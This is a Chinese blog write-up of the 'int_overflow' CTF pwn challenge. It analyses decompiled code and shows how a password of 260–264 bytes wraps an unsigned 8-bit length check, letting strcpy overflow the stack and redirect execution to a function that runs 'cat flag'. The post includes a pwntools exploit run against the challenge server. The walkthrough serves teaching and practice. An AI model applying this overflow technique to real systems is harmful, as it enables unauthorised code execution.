

int_overflow--writeup

原创

ATFWUS 于 2020-03-02 12:31:23 发布 403 收藏
分类专栏: [CTF-PWN # 攻防世界-pwn-- WriteUp](#) 文章标签: [CTF PWN 整型溢出 栈溢出](#)
本文为ATFWUS原创, 允许转载, 但请附上作者署名和本文链接
本文链接: <https://blog.csdn.net/ATFWUS/article/details/104608696>
版权



[CTF-PWN 同时被 2 个专栏收录](#)

33 篇文章 5 订阅
订阅专栏



[攻防世界-pwn-- WriteUp](#)

15 篇文章 0 订阅
订阅专栏
文件下载地址:

链接: https://pan.baidu.com/s/1RiL_dBXGdlRsz76Nw0Mj2w
提取码: s8sy

目录

0x01.分析

checksec:

看下源码:

理清一下流程:

寻找一下漏洞:

利用漏洞攻击:

0x02.exp

0x01.分析

checksec:

```
root@at-ubuntu:/home/atfwus/rop# checksec int_overflow
[*] '/home/atfwus/rop/int_overflow'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
root@at-ubuntu:/home/atfwus/rop#
```

32位程序，开启了NX。

看下源码：

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     int v4; // [esp+Ch] [ebp-Ch]
4
5     setbuf(stdin, 0);
6     setbuf(stdout, 0);
7     setbuf(stderr, 0);
8     puts("-----");
9     puts("~~ Welcome to CTF! ~~");
10    puts("      1.Login      ");
11    puts("      2.Exit       ");
12    puts("-----");
13    printf("Your choice:");
14    __isoc99_scanf("%d", &v4);
15    if ( v4 == 1 )
16    {
17        login();
18    }
19    else
20    {
21        if ( v4 == 2 )
22        {
23            puts("Bye~");
24            exit(0);
25        }
26        puts("Invalid Choice!");
27    }
28    return 0;
29 }
```

<https://blog.csdn.net/ATFWUS>

```
1 char *login()
2 {
3     char buf; // [esp+0h] [ebp-228h]
4     char s; // [esp+200h] [ebp-28h]
5
6     memset(&s, 0, 0x20u);
7     memset(&buf, 0, 0x200u);
8     puts("Please input your username:");
9     read(0, &s, 0x19u);
10    printf("Hello %s\n", &s);
11    puts("Please input your passwd:");
12    read(0, &buf, 0x199u);
13    return check_passwd(&buf);
14 }
```

<https://blog.csdn.net/ATFWUS>

```

1 char *__cdecl check_passwd(char *s)
2 {
3     char *result; // eax
4     char dest; // [esp+4h] [ebp-14h]
5     unsigned __int8 v3; // [esp+Fh] [ebp-9h]
6
7     v3 = strlen(s);
8     if ( v3 <= 3u || v3 > 8u )
9     {
10        puts("Invalid Password");
11        result = (char *)fflush(stdout);
12    }
13    else
14    {
15        puts("Success");
16        fflush(stdout);
17        result = strcpy(&dest, s);
18    }
19    return result;
20}

```

<https://blog.csdn.net/ATFWJUS>

Function name	Se	Code
_init_proc	.i	1 int what_is_this()
sub_80484B0	.p	2 {
_setbuf	.p	3 return system("cat flag");
_read	.p	4 }
_printf	.p	
_fflush	.p	
_strcpy	.p	
_puts	.p	
_system	.p	
_exit	.p	
_strlen	.p	
__libc_start_main	.p	
_memset	.p	
__isoc99_scanf	.p	
_gmon_start__	.p	
_start	.t	
__x86_get_pc_thunk_bx	.t	
deregister_tm_clones	.t	
register_tm_clones	.t	
_do_global_dtor_aux	.t	
frame_dummy	.t	
what_is_this	.t	
check_passwd	.t	
login	.t	
main	.t	
__libc_csu_init	.t	
__libc_csu_fini	.t	
_term_proc	.f	
setbuf	ex	
read	ex	
printf	ex	

<https://blog.csdn.net/ATFWJUS>

理清一下流程：

1. 首先选择1或2，选1登陆。
2. 登陆函数中，首先输入名字。
3. 然后输入密码。
4. 返回到密码检查函数，检查密码的长度，不在（4，8）内直接退出。
5. 在这个范围内，使用了strcpy函数赋值密码到dest，然后返回。
6. 发现源码中有直接调用system的函数，但程序本身没有调用。

寻找一下漏洞：

1. 首先查看两个read函数，buf分配的空间都比实际read读入的要大，没有漏洞。
2. strcpy函数的dest只有0x14，但s最多有0x199，存在栈溢出。
3. 然后检查s的来源，发现来自第二个read。

- 继续查看检查函数的源码发现，对read读入的字符串s有一个长度的限制，不能超出8。
- 这样的话，暂时无法直接从read读大串字符从strcpy溢出。
- s的长度最终给了v3，是通过v3进行长度的判断，我们查看一下v3。
- 发现v3是8位无符号整数，则最大只能是255。
- read函数的长度是0x199，远大于255。
- 发现可以使用整型溢出。

利用漏洞攻击：

- 要使得v3的值是（4，8），利用整型溢出，我们可以使得read读入长度为（260，264）。
- 这样溢出后，v3的值刚好在范围内。
- 先确定一下strcpy处的偏移：

```

1
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

```

4.偏移量为0x14+4。

5.查看system的地址：

```

.text:0804868B public what_is_this
.text:0804868B what_is_this proc near
.text:0804868B unwind {
.text:0804868B push ebp
.text:0804868C mov ebp, esp
.text:0804868E sub esp, 8
.text:08048691 sub esp, 0Ch
.text:08048694 push offset command ; "cat flag"
.text:08048699 call _system
.text:0804869E add esp, 10h
.text:080486A1 nop
.text:080486A2 leave
.text:080486A3 retn
.text:080486A3 ; } // starts at 804868B
.text:080486A3 what_is_this endp
.text:080486A3
.text:080486A4

```

<https://blog.csdn.net/ATFWUS>

地址为：**0x0804868B**

- 可以开始编写攻击脚本。

0x02.exp

```
#!/usr/bin/env python
from pwn import*

#r=process('./int_overflow')
r=remote("111.198.29.45",48613)

system_adr=0x0804868B
payload=(0x14+4)*'A'+p32(system_adr)
payload+=(260-len(payload))*'A'

r.recvuntil("choice:")
r.sendline('1')
r.recvuntil("username:")
r.sendline("atfwus")
r.recvuntil("passwd:")
r.sendline(payload)
r.interactive()
```

```
root@at-ubuntu:/home/atfwus/rop# python expint_overflow.py
[+] Opening connection to 111.198.29.45 on port 48613: Done
[*] Switching to interactive mode

Success
cyberpeace{468a054043ee5a6d9855816b88d23d01}
[*] Got EOF while reading in interactive
$
```